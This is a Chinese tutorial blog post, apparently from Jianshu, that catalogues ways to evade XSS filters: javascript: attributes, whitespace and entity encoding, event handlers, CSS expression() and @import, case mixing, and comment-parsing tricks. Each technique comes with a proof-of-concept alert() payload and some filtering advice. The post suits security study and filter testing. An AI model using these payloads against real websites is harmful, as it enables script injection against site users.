绕过XSS-Filter

绕过XSS-Filter

(1)利用<>标记

XSS-Filter通常过滤转义“<>”“<script>”等字符

(2)利用HTML标签属性值

很多HTML标记的属性支持javascript:[code]伪协议形式

例:<table background=“javascript:alert(/xss/)"></table>

<img src=“javascript:alert('xss');”>

但不是所有Web浏览器都支持JavaScript伪协议,不是所有标记属性都能产生XSS,通常只有引用文件的属性才能,常见属性:

href=

lowsrc=

bgsound=

background=

value=

action=

dynsrc=

(3)空格回车Tab

XSS Filter把敏感的输入字符列入黑名单处理,可以利用空格、回车和Tab键绕过 例:

<img src="javas

script:

alert(/xss/)">

(4)对标签属性值转码

对普通HTML标记的属性值过滤,还可以通过编码处理来绕过。

Tab符的ASCII码&#9、换行符&#10、回车符&#13可以插入任意地方

为了防范标签纸属性编码的XSS,最好也过滤&#/等字符

(5)产生自己的事件

不能依靠属性值跨站,通过事件,如click、mouseover、load等,响应事件的函数叫事件处理函数例:

<img src="#" onerror=alert(/xss/)>

onerror是IMG标记的一个事件,页面发生错误,该事件被激活。上例,解释IMG标记时,加载src属性引用的图片地址,若图片不存在就触发onerror事件。其他事件:

onResume

onReverse

onRowDelete

onRowInseted

onSeek

onSynchRestored

onTimeError

onTrackChange

onURLFlip

onRepeat

onMediaComplete

onMediaError

onPause

onProgress

onOuOfSync

oncontrolselect

onlayoutcomplete

onafterprint

onbeforeprint

ondataavailable

ondatasetchanged

ondatasetcomplete

onerorupdate

onrowenter

onrowexit

onrowdelete

onrowinserted

onselectionchange

onbounce

onfinish

onstop

onesizeend

(6)利用CSS跨站

CSS中使用expression同样可以触发XSS。例:

<div style="width: expression(alert('xss'));">

脚本代码通常被嵌入到style标签/属性中。style属性可以和任意字符的标签结合,所以不只要过滤标签,还必须对style属性值进行过滤。

例:

<div style="list-style-image:url(javascript:alert(‘xss’))">

<img style="background-image:url(javascript:alert('xss'))">  等同于

<img src=" javascript:alert('xss')">

此外,可以使用<link>标签引用CSS。

除<link>标签外,网页中引用外部CSS还可以利用@import导入,例:

<style type='test/css'/>import url(http://.../xss.css);</style>

http://.../xss.css中内容是:

.showCSS{

event:expression(

onload = function()

{

alert('xss');

}

)

@import还可以直接执行JS代码

<style>

@import 'javascript:alert("xss")';

</style>

因此,包含expression、javascript、import等敏感字符的样式表也要进行过滤。

(7)扰乱过滤规则

转换大小写、大小写混淆、不用双引号用单引号、不使用引号。

IMG标记和src属性之间没有空格<img/src="javascript:alert('xss');">

利用expression跨站时,可以构造不同的全角字符。

运用/**/来注释字符,样式标签中的\和结束符\0。

将CSS关键字转码,e转\65,改变编码中0的数量\065、\0065

利用浏览器解析HTML注释存在的问题来执行JS,例:

<!--<img src="--><img src=x onerror=alert(1)//">


纯文本标签造成的混乱标记,例:

<style><img src="</style><img src=x onerror=alert(1)//">

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 158,847评论 4 362
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 67,208评论 1 292
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 108,587评论 0 243
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 43,942评论 0 205
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 52,332评论 3 287
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 40,587评论 1 218
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 31,853评论 2 312
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 30,568评论 0 198
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 34,273评论 1 242
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 30,542评论 2 246
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 32,033评论 1 260
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 28,373评论 2 253
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 33,031评论 3 236
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 26,073评论 0 8
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 26,830评论 0 195
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 35,628评论 2 274
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 35,537评论 2 269

推荐阅读更多精彩内容

  • Spring Cloud为开发人员提供了快速构建分布式系统中一些常见模式的工具(例如配置管理,服务发现,断路器,智...
    卡卡罗2017阅读 134,100评论 18 139
  • 之前积累了XSS 有一段时间,因为目前开始了一件有趣的工程,需要整合非常多的知识,其中Web 安全这一块出现最多的...
    刀背藏身阅读 8,924评论 0 16
  • 1.XSS (Cross Site Script) ,跨站脚本攻击 有句话说 所有的输入都是有害的。 跨站脚本是最...
    大颓宝宝阅读 16,945评论 1 23
  • 如果你只有5秒钟时间接触一个程序员的电脑,能做的对方印象深刻的事情; 切记别轻易尝试,造成后果我也没发挽救,后果自...
    简书超级会员阅读 388评论 0 0
  • 连日来,我局持续加大露天烧烤整治力度,为百姓创造良好的市容环境。5月7日晚,刘县长带领住建、环保、食药局执法人员对...
    创卫阅读 335评论 0 0